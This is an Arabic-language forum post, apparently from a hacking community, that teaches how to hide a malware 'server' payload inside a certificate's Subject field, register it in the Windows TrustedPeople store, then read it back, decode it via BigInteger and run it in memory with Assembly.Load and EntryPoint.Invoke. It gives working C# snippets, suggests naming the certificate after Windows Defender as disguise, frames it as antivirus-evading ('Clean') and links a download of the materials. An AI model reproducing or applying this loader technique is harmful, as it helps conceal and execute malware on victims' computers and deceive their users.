30.10.2017 Register Your Server In CertMgr Over .Cer File


  • الـلـهـم انـصـر اخـوانـنـا الـمـسـلـمـيـن فـي بـورمـا وكـن مـعـهـم يـاربـاه يـاربـاه

BasharBachir

اللهم اغفر له وارحمه
طاقم الإدارة
28 أكتوبر 2018
2,821
3,865
1
حياكم الله ياشباب
نزلنا موضوعنا البارحة هذا
Hide All String Types New Methode PFX Cert [Clean]
على فكرة ماكان فيه صوت نسيان اشغل الصوت :15:
لهيك بفديو اليوم اعدت شرحه فاللي مافهم هنيك من الموضوع
بيفهم من الفديو هذا
اليوم موضوعنا تحويل شهادة .PFX الى .CER
وعمل تسجيل للشهادة في CertMgr مدير الشهادات في ويندوز



عن طريق الفانكشن
C#:
private static void InstallCertificate(string cerFileName)
        {
            X509Certificate2 certificate = new X509Certificate2(cerFileName);
            X509Store store = new X509Store(StoreName.TrustedPeople, StoreLocation.CurrentUser);
            store.Open(OpenFlags.ReadWrite);
            store.Add(certificate);
            store.Close();
        }
ومن ثم القراءة من الشهادة اللي بداخلها قيم سيرفرنا ايا كانت
بيس64 باينري سترينج هكس سترينج نمبرز سترينج ..الخ
بعد مانقوم بفلترة الناتج مثل الموضوع السابق
بس هالمرة رح نشيل محرفين من اول الناتج و11 من اخره
ومنحول لبايت حسب الميثود نمبرز عن طريق بيج انتجر كمثال فقط
ومنشغل البايت بنقطة ادخال

عدلو عاللي بالفديو سووه سطرواحد ارتب واحسن باللود بصير التعديل عكل الزيادات
مثل هنا
C#:
System.Reflection.Assembly.Load(bb(BigInteger.Parse(certificate.Subject.Remove(certificate.Subject.Length - 11)+ certificate.Subject.Substring(2, certificate.Subject.Length - 2)).ToByteArray())).EntryPoint.Invoke(null, null);
بدل مانحفظ الناتج مع الزيادة بمتغير number0 ومنحذف منه اول محرفين
C#:
var number0 = certificate.Subject.Substring2, certificate.Subject.Length - 2);
ومن ثم منعدل ومنحذف اخر 11 محرف باللود لا منخلي العملية كلها باللود
C#:
Load(bb(BigInteger.Parse(certificate.Subject.Remove(certificate.Subject.Length - 11)+ certificate.Subject.Substring(2, certificate.Subject.Length - 2)).ToByteArray()))
حذف من الاول والاخر والتحويل لبايت عند عمل لود
الشهادة من الممكن انك تعملها باي اسم تريده وتسجلها باي مكان تريده
حتى لو تحب Trusted Publishers :99999:
بس انا سجلتها بهالمكان Trusted People لان مارح يكون فيه غيرها باغلب الويندوز
مكان فاضي وتستدعي فقط شهادة موجودة هنالك :domenal.csom_38:
احسن ماتفوت بقصص فصل الشهادات وعمل فلترة لها والامور هذه :39by:
بامكانك انك تخلي الشهادة بجانب الملف التنفيذي مثل ماعملنا بالموضوع السابق مع .PFX
وبامكانك وضعها في امبيديد ريسورس ومن ثم كتابتها بCertMgr
او اي طريقة ببالك مش مشكلة ..
صورة من الشهادة مسجلة وتحتوي على قيم سيرفرك :15:
سوي الاسم مايكروسوفت ويندوز .ويندوز ديفيندر مثل ماتحب :254:





ورح يتم القراءة منها وفلترة المعلومات بداخلها بناءا على ماتم ذكره سابقا
للحصول على قيم السيرفر لوحدها
موجود شرح للفديو السابق والطريقة الحالية بالفديو
https://up.top4top.net/downloadf-1037ok2301-zip.html
 
  • أعجبني
التفاعلات: Eagle_Master